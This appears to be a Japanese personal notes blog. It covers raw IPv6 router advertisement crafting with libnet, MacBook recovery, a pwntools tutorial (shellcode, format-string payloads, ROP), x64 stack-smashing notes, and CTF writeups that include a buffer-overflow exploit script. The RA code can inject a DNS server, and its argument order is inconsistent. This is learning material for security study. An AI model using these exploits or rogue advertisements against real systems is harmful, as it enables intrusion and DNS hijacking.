fr33f0r4ll

自分用雑記

libnet

libnet

RDNSS付きのルータ広告を投げる必要があったのでlibnetについて調べてみたが情報がなかったため残しておく。

やり方

初期化

libnetにはIPv6に対応したパケットを作成する機能があるため、普通のパケットならば問題なく作成できる。 今回は近隣探索のパケットを投げるため、ICMPv6のパケットの作成もしている。 libnetを使うときは、最初にinit関数を呼ぶ必要がある。 この返り値に作成するパケットの情報が保持されているようなので最後まで引き回すことになる。

// interfaceはパケットを投げる先のインターフェースを指定する。 exp. "enp4s0"
libnet_t* l = libnet_init(LIBNET_RAW6, interface, errbuf);

パケット作成

buildと付いた関数がたくさんあるので、その中からそれっぽいのを探してそれを使う。 ICMPv6などのパケットならば、連続してbuild関数を呼び出すとそれっぽく処理してくれる。 今回はICMPv6, IPv6のパケットのbuild関数を呼び出している。 checksumなどの値も自動で計算されるので楽。もちろん間違った値をわざと入れることもできる。

今回使おうとしたRDNSSはうまくオプションを設定できなかったため、直接値を入れるようにしている。 多分もっと普通の方法があると思うけど、なぜか近隣探索のオプション設定がうまくできなかったので力技でやっている。

追記 libnet_ptag_tでそれぞれのプロトコルのブロックを管理しているらしいので試してみる。

送信

最後のlibnet_writeで送信している。 送信先アドレスや送信元アドレスによって失敗することもある。 あまり適当すぎるアドレスだと不正になってしまうようだ。

code

#include <stdio.h>
#include <libnet.h>

#define ND_RA_MANAGED_CONFIG_FLAG 0x0800000
#define ND_RA_OTHER_CONFIG_FLAG   0x0400000
#define ND_RA_HOP_LIMIT           0x1000000
#define ND_OPT_RDNSS              0x19
#define LIFETIME_INF              0xffffffff

typedef struct libnet_in6_addr libnet_in6_addr;

void build_icmpv6_rdnss_opt(libnet_t* l,
                libnet_in6_addr *header,
                uint8_t *payload,
                uint32_t lifetime,
                const char* dns_addr);

int main(int argc, char** argv){
  if (argc != 5) {
    fprintf(stderr, "%s <interface> <src addr> <dist addr> <dns addr>\n", argv[0]);
    exit(1);
  }

  // set argv
  char *interface = argv[1];
  char *dist_addr = argv[2];
  char *src_addr = argv[3];
  char *dns_addr = argv[4];
  
  libnet_t *l;
  libnet_in6_addr sip, dip, trg;
  char errbuf[LIBNET_ERRBUF_SIZE];

  /***************************************************************
    initialize libnet, this must be called before other functionsn
   ***************************************************************/
  l = libnet_init(LIBNET_RAW6, interface, errbuf);
  if(l == NULL) {
    printf("libnet_init: %s\n", errbuf);
    exit(1);
  }

  // get ipv6-addr struct
  sip = libnet_name2addr6(l, src_addr, LIBNET_DONT_RESOLVE);
  dip = libnet_name2addr6(l, dist_addr, LIBNET_DONT_RESOLVE);

  /********************************* 
   *   build router advertisement  *
   *********************************/  
  uint32_t lt = LIFETIME_INF;
  uint8_t payload[16];
  build_icmpv6_rdnss_opt(l, &trg, payload, lt, dns_addr);
  
  libnet_build_icmpv6_ndp_nadv(
                   ND_ROUTER_ADVERT,                               // uint8_t type
                   0,                                              // uint8_t code
                   0,                                              // uint16_t check_sum
                   64 * ND_RA_HOP_LIMIT + ND_RA_OTHER_CONFIG_FLAG, // uint32_t flags
                   trg,                                            // libnet_in6_addr target
                   payload,                                        // uint8_t* payload
                   16,                                             // uint32_t payload size
                   l,                                              // libnet_t* context
                   0                                               // libnet_ptag_t ptag, 0 means create new one
                   );
  
  // build ipv6 packet
  libnet_build_ipv6(
            0,                                        // uint8_t traffic class
            0,                                        // uint32_t flow label
            LIBNET_IPV6_H + LIBNET_ICMPV6_NDP_NADV_H, //uint16_t len
            IPPROTO_ICMP6,                            //uint8_t nh -> next header
            64,                                       //uint8_t hl -> hop limit
            sip,                                      //libnet_in6_addr src
            dip,                                      //libnet_in6_addr dst
            NULL,                                     //uint8_t* payload
            0,                                        //uint32_t payload_s
            l,                                        //libnet_t* l
            0                                         //libnet_ptag_t ptag
            );
    
  if(libnet_write(l) == -1) {
    printf("libnet_write: %s\n", libnet_geterror(l));
    exit(1);
  }

  libnet_destroy(l);
 
  return 0;
}

/**
 * set config value to header and payload.
 * @param l libnet context
 * @param header header of RDNSS, set some value into this
 * @param payload dns address is set here
 * @param lifetime lifetime of dns server
 * @param dns_addr address of dns server, like "2001:db8::1"
 */
void build_icmpv6_rdnss_opt(libnet_t* l,
                libnet_in6_addr *header,
                uint8_t *payload,
                uint32_t lifetime,
                const char* dns_addr){
  // copy address, builder funciton accepts only uint8_t*
  for (int i = 0; i < 16; i++)
    payload[i] = libnet_name2addr6(l, dns_addr, LIBNET_DONT_RESOLVE).__u6_addr.__u6_addr8[i];
  
  header->__u6_addr.__u6_addr8[8] = 0x19; // type num RDNSS
  header->__u6_addr.__u6_addr8[9] = 0x2 + 0x1; // 0x2 + number_of_dns_addr
  header->__u6_addr.__u6_addr32[3] = lifetime;
  
  return;
}

MacBookリカバリー

MacBookが壊れて起動しなくなったのでリカバリーの手順をメモっておく。

症状

起動するとログインアカウントが表示されず、?マークのあるフォルダのアイコンが表示されていた。 正確に言うとデュアルブートできるようにしていたので、linuxの方しか起動しなかった。 パーティション削除したらフォルダアイコンでたので多分同じ原因だと思う。

修復方法

まず一旦電源を落とし、再起動する。 起動したタイミングでCmd+Rを押し、地球のマークがでてくるまで待機する。 するとリカバリメニューに入るためにネットワーク接続が必要になるので、無線LANの設定をするか有線を繋ぐかしてオンラインにする。 5分くらい待つ、多分回線速度次第で速くなったり遅くなったりすると思う。

するとリカバリメニュー一覧みたいなのが表示されるので、ディスクの修復メニューに入る。 自分の場合はパーティションの設定をミスってディスクがおかしくなっていたらしいので、ディスクをまるごとフォーマットした。 ここからバックアップも取れるっぽいので、必要なら取っておく。 タイムマシンにデータがあったので今回はフォーマットだけにした。

フォーマットなり修復なりが終了したら、ディスクメニューを終了し、タイムマシンからの復元かOSの再インストールを選択する。 起動しない場合は多分入れなおさないと直らないんじゃないかと思う。バックアップもあることだし再インストールした。

これで直る(かもしれない)。

pwntools 使い方

pwntoolsの使い方

tags: ctf pwn pwntools howtouse

忘れないようにメモする。 公式のDocsとか、関数のdescriptionが優秀なのでそっちを読んだ方が正確だと思う。 でも日本語じゃないと読むのに時間がかかってしまうので日本語でメモする。

基本

基本的な機能の使い方。 プログラムへの入出力など。

from pwn import *

# プログラムを実行するprocessを作る
# cwdキーワードで現在のワーキングディレクトリが変更できる
p = process('test_program')
# p = remote('127.0.0.1', 12345) # 127.0.0.1の12345ポートに接続する、processとAPIが同じなのでそっくりそのまま同じように動作する

ret = p.recv() # test_programの出力をEOFまでを受けとる
ret = p.recvline() # 改行までを受けとる、改行が送られないとここで止まるので注意
ret = p.recvline(timeout=0.01) # recv系はtimeoutを設定できる、単位は秒。ハングするのが嫌なら設定しておくといい
ret = p.recvuntil('some output') # 引数の文字列までを受けとる。

# ログとして出力する。context.log_levelに値を設定することで、debug, infoなど出力するログも操作できる
log.info(ret) 

payload = ''
payload += p32(64) # 数値をリトルエンディアンで32ビット長の文字列として変換する。
# 64なら'@\x00\x00\x00'になる。
# ほかにもp64という関数があり、こっちは64ビット長として変換する。
# 逆変換はu32()、符号無し整数としてデコードしてくれる。
payload += 'some shellcodes'

# test_programにpayloadを送る。文字列ならなんでも。
p.send(payload) # 末尾になにもなし、多分EOFが付く
p.sendline(payload) # これなら末尾に改行が付く

# 実行すると入出力を直接表示、送信するようになる。
# 相手側でシェルを開いたときに起動すると対話的に操作できる
p.interactive()

基本的にはrecvsend系を使っていく。他にも便利機能がたくさんあるけど、これだけでもpwnを始められる。

実際のpwnの流れとしては、processでプログラムを実行して解析しながらsendrecvで送受信を行なって、シェルが取れたらinteractiveで直接操作する、というような感じになる

場合によってはローカル環境でプログラムを実行できるときもremoteを使うことがある、プログラムが直接ポートにバインドされてフォークするようないわゆるfork型のときとか。

ELFの解析

elfファイルの解析はIDAとかreadelfとかradare2でやったりするが、なんとpwntoolsからでもある程度解析ができる。 ちょっと関数のアドレスとかpltやgotのアドレスを使いたいときにはハードコーディングしなくて済むので、後から確認するとき"あれ、これなんだっけ?"とならずに済む。 ROP関連の機能にも使える。

from pwn import *

elf = ELF('program') # 解析、ログにセキュリティ機構などの解析結果も表示される。
# 多分pwntoolsに付いてくるchecksecと同じ出力
# libcなどの共有ライブラリも解析できて、その場合はオフセットが分かる
# ローカルとリモートでglibcが違うときとかに読み込むライブラリを変更すると便利

elf.plt['printf'] # plt領域にあるprintf関数のアドレス
# ハードコーディングせずにすむのでこっちの方が良いと思う。
# ときどき間違ってるっぽい?理解が足りなくて勘違いしてるだけかもしれない
# 心配ならobjdumpとかreadelfとかでも調べておこう

elf.got['printf'] # 同じようにgot領域のアドレスも調べられる

elf.symbols['local_variable'] # stripされてなかったりするとシンボルのアドレスも参照できる

elf.bss() # セクションのアドレスなんかもある

他にも色々な情報が参照できるので最初に解析用のスクリプト作っておくのもいいかもしれない。 dir()でメンバの名前見ればだいたい何の情報か想像も付くので、たとえ忘れても安心。

設定

contextは解析のための情報を渡すことができる、ようはconfig。

from pwn import *

context.arch = 'amd64' # 解析するプログラムのアーキテクチャを設定できる、初期値は多分i386
context.log_level = 'debug' # ログのレベルを設定できる。普段は多分infoぐらいが表示される
# pwntoolsのバグっぽいのに遭遇したらdebugにして見てみよう

context(arch='amd64') # 関数から設定することもできる

ちょっと変わったバイナリを解析するときは、一度こっちの設定を確認して、適切かどうか見るといいかもしれない。 シェルコードの生成とか関数の挙動に影響するので、間違った設定になっていると思った通りにエクスプロイトが動かなかったりする。 お行儀良く最初に設定しておこう。

shellcode

shellstormでいいけど、pwntoolsにも簡単なものはあるので多少は楽にエクスプロイトが書けるかも。 スクリプト中でアセンブルもできる。書けるかどうかはともかく。

from pwn import *

asm(shellcraft.sh()) # shellcraft.sh()はシェルを開くアセンブリコードを返す、asm()はそれをアセンブルする
# shellcraftの返り値は単なるアセンブリコードなので、シェルコードの勉強に持ってこいだったりする
# デフォルトが使えなかったときは攻撃対象に合わせて書き換えてみよう

# アセンブリコードを文字列として渡すとアセンブルしてくれるので、必要に応じて書くこともできる
asm('''
xor ebx, ebx
lea eax, [ebx + 4]
mov ecx, esp
lea edx, [ebx + 0xff]
int 0x80
''')

asmを使えば自作shellcodeを使うこともできるので、shellcodeを書く練習にももってこい。 shellcraftのサブモジュールにはアーキテクチャやOSに対応したモジュールがあり、様々シェルコードが収録されているみたいなので一度探索してみると面白いかもしれない。

書式文字列攻撃

書式文字列攻撃のための機能もある。 攻撃を自動でやるようにする使い方もできるらしいが、関数のセッティングが面倒そうだったので、ここではペイロードを作成する機能の紹介だけにする。 基本的には書き込みたい値と書き込み先アドレスを指定すると、書式文字列攻撃で書き込みをするペイロードを返すといった感じ。

from pwn import *

p = process('target_program')

trg = ELF('target_program')
trg_addr = trg.symbols['target_symbol']

# trg_addrに0x12345678と書き込む
writes = {trg_addr : 0x12345678}
offset = 11 # printfの引数があるオフセット、書式文字列攻撃ができるなら多分オフセットのリークもできる
payload = fmtstr_payload(offset, writes, numbwritten=0)

p.send(payload)

offsetには書式文字列バグのある箇所で、入力した文字列が出現する位置を指定する。 適当に%xとか入力して調べる必要がある。

numbwrittenは既に書き込んだ文字数を指定する、デフォルトで0なのでこの例では本当はいらない。 書式文字列攻撃はprintfのこれまで出力したバイト数を変数へ書き込むパラメータを利用して任意のアドレスへの書き込みをするので、これまでの出力数が正しくないとペイロードを組み立てることができない。

writes{書き込みたいアドレス : 書き込みたい値}という形式で書き込んでいく値などを指定する。

fmtstr_payloadにそれらを渡すとペイロードを作成して返すようになっている。

ROP

ropチェインを組み立てることができる機能がある。 elfの解析結果を使えば自動的に呼び出しのフレームを作成したりできるので便利。

from pwn import *

elf = ELF('test_program')
rop = ROP(elf)

# 直接値をスタックに積む
rop.raw(0)

# 関数などの呼び出しをする、シンボルがないと無理?
# 引数も渡せる
rop.call('read', [0, 4, 10])

# 横着なwrite call
rop.write(1, 4, 10)

# ropガジェットを勝手に探してきてスタックフレームの調節をしてくれるらしいので気にせず呼び出せる

# 本当にちゃんと出来てるか知りたいときはダンプすることもできる
# シンボルなどがあるときはその内容まで表示してくれるので分かりやすい
print(rop.dump())

# ropガジェットの検索もできる
# 返り値はGadgetクラスで直接rop.raw()に渡したりできる、むしろ直接渡した方が情報が表示されるので良い
rop.find_gadget(['pop eax', 'ret']) # pop eax; ret

# ガジェット一覧
rop.gadgets()

# ropチェインの取得、文字列として
rop.chain()
str(rop)

callがとても便利そう。ガジェットの検索はrp++とかの専用ツールほどフレキシブルな検索はやってくれないっぽいのでそういうのはやっぱり自分で探す必要がある(残念)。

デバッガ

自分の環境では動かなかったが、gdbデバッグもできるらしい。

from pwn import *

context.terminal = ['terminator', '-e']
p = process('program')
gdb.attach(p)
gdb.debug('program')

追記 どうも元のプログラムでプロセスIDを直接引数としてgdbに渡してるのが原因っぽい。gdbはプロセスにアタッチするとき、プロセスIDは-pオプションに渡さないといけないはず。そのことでIssueも立ってたけど、聞いてみたけど問題として認識してないっぽい? TODO: 直ってるかチェック

定数値

エクスプロイトを書くときや解析しているときは様々な定数値(システムコール番号とかマクロとか)がしょっちゅうでてくる。 でも全部憶えるのはまず無理なのでその都度調べるのだけど、pwntoolsにそのような定数値を調べられる機能がある。 一々ブラウザやman開いてスクリプトにメモするのも面倒なので積極的に使いたい機能の1つ。

from pwn import *

# 名前で調べる、`execve`のシステムコール番号が返る
constants.eval('SYS_execve')

# 直接定数値をロード
constants.SYS_execve

# 他にもシグナル番号などもある
constants.SIGKILL

# どんな定数値があるかの一覧
help(constants)

定数値はしょっちゅう忘れるので地味に便利。 スクリプト中でマジックナンバーになって意味が分からなくなったりしないし。 contextの設定に従ってアーキテクチャに対して適切な値を返すので、設定してから使わないと変な値になったりする。

その他

pwntoolsはライブラリとしてだけではなく、コマンドラインから使うこともできる。 pwn --helpで使い方が表示される。 checksecとかちょっとしたアセンブラとか便利な機能も多いので一度覗いてみるといいかもしれない。 定数値検索のできるconstgrepがとても便利。

おわり

使ったことのある機能はこれぐらい。 他にも色々便利そうな、書式文字列攻撃用のモジュールだったりflag管理用のモジュールだったりがあるので、公式を見ておくとワクワクできる。 使い方は分かりません。使われてない機能だとバグっぽいのもしばしばあったりするけれど、そういうときは他のコマンドで補おう。

X64 pwn

x64でのpwn

Cでの話、goとかだと違う。 基本はx86と同じだが、いくつかの点で違いがある。
https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/を参考にしている。

引数の渡し方

x86では関数呼び出しするときにスタックに値をpushして引数を渡していたため、スタックの値を書き変えれば引数を操作できた。 x64ではレジスタに引数の値を指定するため、引数の操作がやりにくくなっている。

引数の順番はWinとgccで違ったりする、CTFだとだいたいgcc版になる。 gcc版だと一番目からrdi, rsi, rdx, rcx, r8, r9になる。 exe版だとrcx, rdx, r8, r9になる。 4個以上の引数がある関数はあまり見ないので知らない。

レジスタ

64bit長になった。 つまり、pushやpopは8バイト単位で動作し、アドレス長も8バイトになっている。 さらにレジスタ自体の数も増えて、R8やR9などが追加されている。 x86レジスタは、RAXやRSPのようにRを付けると64ビットでアクセスできる。 EAXやEBXで下位32ビットにアクセスできる。 それ以外はx86と同じようにアクセスできる(下位32ビットに対して)。

アドレス

バッファオーバーフローでリターンアドレスを書き換えEIPを奪うのはpwnではx86での上等手段だった。 例えば長い文字列を渡しバッファを溢れさせると、eipの値が0x41414141などになっているのがgdbなどで確認できる。 しかし、x64ではアドレス空間が64bitに拡張され、有効な命令アドレスの範囲は0x00007FFFFFFFFFFFまでに制限されている。 したがって、リターンアドレスを書き換え過ぎるとripが書き換えられないでプログラムがSIGSEGVされる。 このままだと確認しにくいので、ret命令時のスタックトップがリターンアドレスとして読み込まれるので、その値からオフセットを割り出し適切な長さに調節するとよい。

環境変数

環境変数はプログラム実行時にスタックに積まれているので、環境変数が設定できるなら文字列を設定し、そのアドレス引数にしたりするテクニックが使える。

ROP

レジスタを介して引数を渡すため、ROPを使う場面が増える。 例えばpop rsi; retという命令へのアドレスをリターンアドレスとして設定すると、スタック上でリターンアドレスの次にある値がRSIに設定できる。 これを利用してレジスタに値を設定することで関数に引数を渡せる。

Tokyo Westerns CTF3rd 2017 Writeup

Tokyo Westerns CTF3rd 2017 writeup

ほぼWarmupだけ(Webは解けてない)。 200ptで142位でした。

Just do it

Pwn

プログラムの動作はパスワードの入力を求め、あってるかどうかを判定するものである。 とりあえず、stringsで探したら見つかったパスワードを入力してみたが、単にCorrect!と表示されただけだった。 どう考えてもflagじゃない。

アセンブルしてコードを見ながらgdbで解析してみるとflag.txtを開いてその内容をグローバル変数にに入れていることが分かった。これを表示させる必要がある。

0x08048618      68d3870408     push str.flag.txt           ; 0x80487d3 ; "flag.txt"
0x0804861d      e87efeffff     call sym.imp.fopen          ; file*fopen(const char *filename,
0x08048622      83c410         add esp, 0x10
0x08048625      8945f0         mov dword [local_10h], eax
...
0x08048648      83ec04         sub esp, 4
0x0804864b      ff75f0         push dword [local_10h]
0x0804864e      6a30           push 0x30                   ; '0' ; '0'
0x08048650      6880a00408     push obj.flag               ; 0x804a080
0x08048655      e8e6fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)

しばらく適当にパスワードを入力すると、fgetsで文字数制限しているのにプログラムが落ちることが分かった。 gdb-pedaで落ちたときの状況を調べてみると、最後の不正解のメッセージを表示するところで不正なアドレスが指定されているらしかった。 入力した文字と照し合わせると、20文字目からの値がアドレスに格納されることが分かった。 checksecするとPIEはなかったので多分アドレスは固定のはず(かな?)。 なので、20文字入力したあと、flagが格納された変数のアドレスを入力すればflagが表示されるはず。 コードはこれ。

from pwn import *
import time

host = 'pwn1.chal.ctf.westerns.tokyo'
port = '12345'
adrs = 0x804a080
i = 20
shellcode = 'A' * i + p32(adrs) + '\x00'

# p = process("./just_do_it")
p = remote(host, port)
log.info(p.recvuntil('\n'))
log.info(p.recvuntil('\n'))
log.info(i)
p.sendline(shellcode)
time.sleep(1)
print(p.recvuntil('\n'))

成功。 でもかなり時間をかけてしまった、pwnに慣れたい。

Rev Rev Rev

Rev

かなり分からなかった。 strippedなので関数名とか全然分からない。 とりあえず逆アセンブルしてみたところ、4つの関数で入力を加工したあと、プログラム内の値と比較して一致すればいいらしい。 最初の関数(0x080486b9)は読み込んだ改行文字をヌル文字に置き換えている。

2つ目の関数(0x080486db)は入力された文字列を逆順にしている。

3つ目の関数(0x08048738)はビット演算とシフトを繰り返して文字を変換している。 Cのコードにするとこんな感じの処理をしている。逆算する方法が分からなかった。

void fcn38(char* arg_8h){
  char* local_4h = arg_8h;
  char local_5h;

  while(*local_4h != '\0'){
    local_5h = *local_4h;
    local_5h = (((unsigned int) local_5h & 0x55) * 2) | ((local_5h >> 1) & 0x55);
    local_5h = (((unsigned int) local_5h & 0x33) << 2) | ((local_5h >> 2) & 0x33);
    local_5h = ((unsigned int) local_5h << 4) | (local_5h >> 4);
    local_4h[0] = local_5h;
    
    local_4h++;
  }
}

4つ目の関数(0x080487b2)文字毎にnotを取っているだけだった。

gdbで一致させるデータ列を確認した。16進数値でこんな感じ。

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

静的に解く方法が思い付かなかったので力技でやる。 gdbを使ってひたすら入力を変換させて、どの文字がどの値になるのかひたすら調べた。 一度に複数文字入力してもいいのでそこまで手間じゃなかった。 解くのに十分なだけのデータが揃ったところで入力を生成させて、送信、そして成功。

変換テーブルを含んだコードはこんな感じ。

table = {}
table['-'] = hex(0x4b)
table['.'] = hex(0x8b)
table['/'] = hex(0x0b)
table['0'] = hex(0xf3)
table['1'] = hex(0x73)
table['2'] = hex(0xb3)
table['3'] = hex(0x33)
table['4'] = hex(0xd3)
table['5'] = hex(0x53)
table['6'] = hex(0x93)
table['7'] = hex(0x13)
table['8'] = hex(0xe3)
table['9'] = hex(0x63)
table[':'] = hex(0xa3)
table[';'] = hex(0x23)
table['<'] = hex(0xc3)
table['='] = hex(0x43)
table['>'] = hex(0x83)
table['?'] = hex(0x03)
table['@'] = hex(0xfd)
table['A'] = hex(0x7d)
table['B'] = hex(0xbd)
table['C'] = hex(0x3d)
table['D'] = hex(0xdd)
table['E'] = hex(0x5d)
table['F'] = hex(0x9d)
table['G'] = hex(0x1d)
table['H'] = hex(0xed)
table['I'] = hex(0x6d)
table['J'] = hex(0xad)
table['K'] = hex(0x2d)
table['L'] = hex(0xcd)
table['M'] = hex(0x4d)
table['N'] = hex(0x8d)
table['O'] = hex(0x0d)
table['P'] = hex(0xf5)
table['Q'] = hex(0x75)
table['R'] = hex(0xb5)
table['S'] = hex(0xd5)
table['T'] = hex(0x55)
table['U'] = hex(0x95)
table['V'] = hex(0x65)
table['W'] = hex(0x15)
table['X'] = hex(0xe6)
table['Y'] = hex(0x65)
table['Z'] = hex(0xa5)
table['['] = hex(0x25)
table['\\'] = hex(0xc5)
table[']'] = hex(0x45)
table['^'] = hex(0x85)
table['_'] = hex(0x05)
table['`'] = hex(0xf5)
table['a'] = hex(0x79)
table['b'] = hex(0xb9)
table['c'] = hex(0x39)
table['d'] = hex(0xd9)
table['e'] = hex(0x59)
table['f'] = hex(0x99)
table['g'] = hex(0x19)
table['h'] = hex(0xe9)
table['i'] = hex(0x69)
table['j'] = hex(0xa9)
table['k'] = hex(0x29)
table['l'] = hex(0xc9)
table['m'] = hex(0x49)
table['n'] = hex(0x89)
table['o'] = hex(0x09)
table['p'] = hex(0xf1)
table['q'] = hex(0x71)
table['r'] = hex(0xb1)
table['s'] = hex(0x31)
table['t'] = hex(0xd1)
table['u'] = hex(0x51)
table['v'] = hex(0x91)
table['w'] = hex(0x11)
table['x'] = hex(0xe1)
table['y'] = hex(0x61)
table['z'] = hex(0xa1)
table['{'] = hex(0x21)
table['|'] = hex(0xc1)
table['}'] = hex(0x41)
table['~'] = hex(0x81)

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

rev_table = {}
for k, e in table.items():
    rev_table[e] = k

a = list(map(lambda x: rev_table[x], l))

ans = ""
for c in a:   
    ans += c

print(ans)

変換テーブルがでかい。

Palindromes Pairs - Coding Phase -

PPC

pythonでやった。 問題文の解釈で時間食ってしまった。 実装は単純に先頭と末尾から比較していくだけ。 これがベストな方法なのかな? コードはこんな感じ。

from pwn import *


def copy(lst):
    lst2 = []
    for i in lst:
        lst2.append(i)

    return lst2


def is_palindrome(s):
    head = 0
    tail = len(s) - 1
    while(head < tail):
        if(s[head] != s[tail]):
            return False
        head += 1
        tail -= 1

    # print(s)
    return True


def get_palindromes_set(lst):
    palin_set = set()
    for e in lst:
        if is_palindrome(e):
            palin_set.add(e)
    return palin_set


def get_palindromes_num(lst):
    count = 0
    length = len(lst)

    for i in range(0, length):
        elm = lst[i]
        rest = lst[i+1:length]

        if len(rest) != 0:
            head_list = [is_palindrome(elm + e) for e in rest]
            last_list = [is_palindrome(e + elm) for e in rest]
            count += head_list.count(True) + last_list.count(True)

        if is_palindrome(elm + elm):
            count += 1

    return count

host = 'ppc1.chal.ctf.westerns.tokyo'
port = '8765'
p = remote(host, port)

log.info(p.recvuntil('----- START -----\n'))
for _ in range(50):
    log.info(p.recvuntil('\n'))
    log.info("num:" + p.recvuntil('\n'))
    words = p.recvuntil('\n')
    log.info(words)

    words = words.strip().split(" ")
    ans = get_palindromes_num(words)
    log.info(str(ans))
    p.sendline(str(ans))
    log.info(p.recvuntil('\n'))
    p.recvuntil('\n')

p.interactive()

lisp使いたくなった、python2だとオブジェクトを変更するからやりにくく感じる。 そもそもコードがpythonっぽくない、修行足りてない。 まあ一応解けたので良しとしよう。

My Simple Cipher

Crypto

7zの解凍方法を忘れ無駄に悩む。 cipher.pyの暗号化方法自体は単純にキーと前回の値を使って値を加算しmodを取るだけの単純なもの。 逆算自体は無理なのかな?IPUSIRONさんの本で勉強しないと。

注目するべきなのは平文と暗号文で文字の位置は同じであること、"|“があること、keyが13文字で固定なことである。

この"|“が固定であるおかげで、この位置で使われた鍵の文字は特定することができる。 暗号化に用いられたmessage[i], key[i % 13], encrypted[i]のうちmessage[i]とencrypetd[i]が判明しているので、以下のようになるはずである、多分。

(encrypted[i+1] - encrypted[i] - message[i]) % 128 = key[i % 13]

この位置だと、最初が0として22文字目が該当する。 最初の一文字はランダム与えられた初期化ベクトルのような値なので無視すると、21文字目である。 13でmodを取ると8、従って鍵の8文字目が分かる。

次に鍵の8文字目で暗号化されている部分に着目する、この部分は復号化可能である。 ここで、暗号文の最後に鍵が含まれていることを利用する。 鍵の8文字目で暗号化されている部分を復号すると鍵の別の場所の文字が分かる。 これを繰り返して鍵全体を復号化し、それを用いてencryptedを復号化する。 あとは単純作業になる。

自動化できるけど13文字ならインタープリターでやった方が速いかと思って手元でメモを取りながらやった。 あとで自動化する。

全体の復号化をする関数だけコード書いた。

def decrypt(key, cipher):
    dec = ""
    tmp = []
    rev_c = list(cipher)
    rev_c.reverse()

    for i in range(len(rev_c) - 1):
        tmp.append(ord(rev_c[i]) - ord(rev_c[i+1]))

    tmp.reverse()

    for i in range(len(tmp)):
        dec += chr((tmp[i] - ord(key[i % 13])) % 128)

    return dec

pplc

PPC

唯一warmup以外で解けた問題。 3つフラグがあって、python特有のメタプログラミングネタの問題。

private

ひとつめの問題。

プライベートなメソッドについての問題。 pythonにはアクセス修飾子がないが、接頭語と接尾語にアンダースコア(であってたかな、_のこと)を使うことでコーディング規約として扱いを変えたりする。 接頭語として__があって、接尾語がないメソッドは名前が_ClassName__methodnameとなる。 つまり、p._Private__flag()を送信すればいいはずなのだが、assert文でPrivateが含まれる文字列は弾かれてしまう。

ここでpythonの関数オブジェクトに対して()を付けると呼び出せるという性質を利用する。 つまり、こんな感じのことができる。

def func():
    return 1
    
f = func # ここで関数オブジェクトがfに格納される
f() # 1が返される

そして、文字列をpythonコードとして実行し結果を返すeval関数と、クラスやオブジェクトなどメンバを文字列として取得するdir関数を組み合わせて、_Private__flagの関数オブジェクトを取得する。 これを()で呼び出せばフラグを表示できるはず。

手元の環境でdir(p)してみると、最初の要素に_Private__flagがあったので、とりあえず最初の要素であると仮定してやってみた。 最終的な文字列はこんな感じ。

eval("p."+dir(p)[0])()

成功した。

local

ふたつめの問題。

今度は関数内で定義されるローカル変数を参照できるかという問題。 get_flagなのにflag返さねえじゃねえかとは思った。

ここで、関数オブジェクトの構造を観察してみる。 実はさっきの問題を解くまでよく知らなかった。 dir関数を使ってメンバを見てみるとfunc_codeといういかにもコードがありそうなメンバがあった。 どうやらpythonのコードの情報を持っているようで、バイトコンパイルされたコードなどが含まれている。

どうやってpythonが作られているのかが読み取れる気がしてくる。

このcodeオブジェクトに対してもdirでメンバを読み取ると、co_constsという定数値がありそうな名前がある。 表示してみるとビンゴだった。

これで成功。 送信した文字列はこんな感じ。

get_flag.func_code.co_consts

comment

みっつめの問題

これは知っていた、パッケージを作ったときに丁度その話を見た。 パッケージの一番先頭にある文字列は__doc__に格納され、help関数で表示できるようになる。 関数などでも、定義の一番最初に置いた文字列がこのように取得できる。

helpだと対話的環境でしか表示されないので、__doc__を表示することにする。

成功、送信文字列はこんな感じ。

comment_flag.__doc__

おわり

pythonがなければwarmupだけで終わっていた。

Hackconに参加した

HackCon writeup

72位、一人じゃキツイなぁ。 Web問全然分からなかった。

rev

Key-gen1

match_meという実行ファイルが渡されるので、リバーシング。 見てみると最後の方にstrncmpしてるところがあるので、gdbで実行しつつ入力によって引数がどのように変化するか観察した。 しばらくやってると、2文字の入力が1文字にマッピングされているようであると分かった。 その上、位置に関係なく同じ2文字は同じ1文字に変換されるようなので、必要な文字に変換される組合せを見つければいい。 しかも、f以上の文字は使えないことが分かった(実際は16進数として解釈されているらしいことに後で気付いた)。 対応する文字に変換される組合せを探して、サーバに入力するとフラグが返された。

Key-gen2

match_meに受理される10個のキーを探す問題。 16進数に解釈されることに気付いたので、6組の異なる変換テーブルを作り、適当に組合せた。 これで通った。

crypto

RSA-2

今度はn, e, cだけが渡される。 eの値が異常に大きく、wiener-attackが出来そう。 求めたdで正常に復号化できた。

(ql:quickload :hackrsa)
;; hackrsa is in my tool set, https://github.com/4hiziri/tktools

(setf d (hackrsa:wiener-attack n e))
(setf m (mod-expt c d n))
(hackrsa:decode m)

Bacche

Rotate it

crypto
“q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr"が渡されるので、ぱっと見でrot13だと分かる。 flag形式が"d4rk{xxx}c0de"なので、鍵は13で良さそう。 単純にnkfでrot13してフラグゲット。

# echo "q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr" | nkf -r

ALL CAPS

crypto

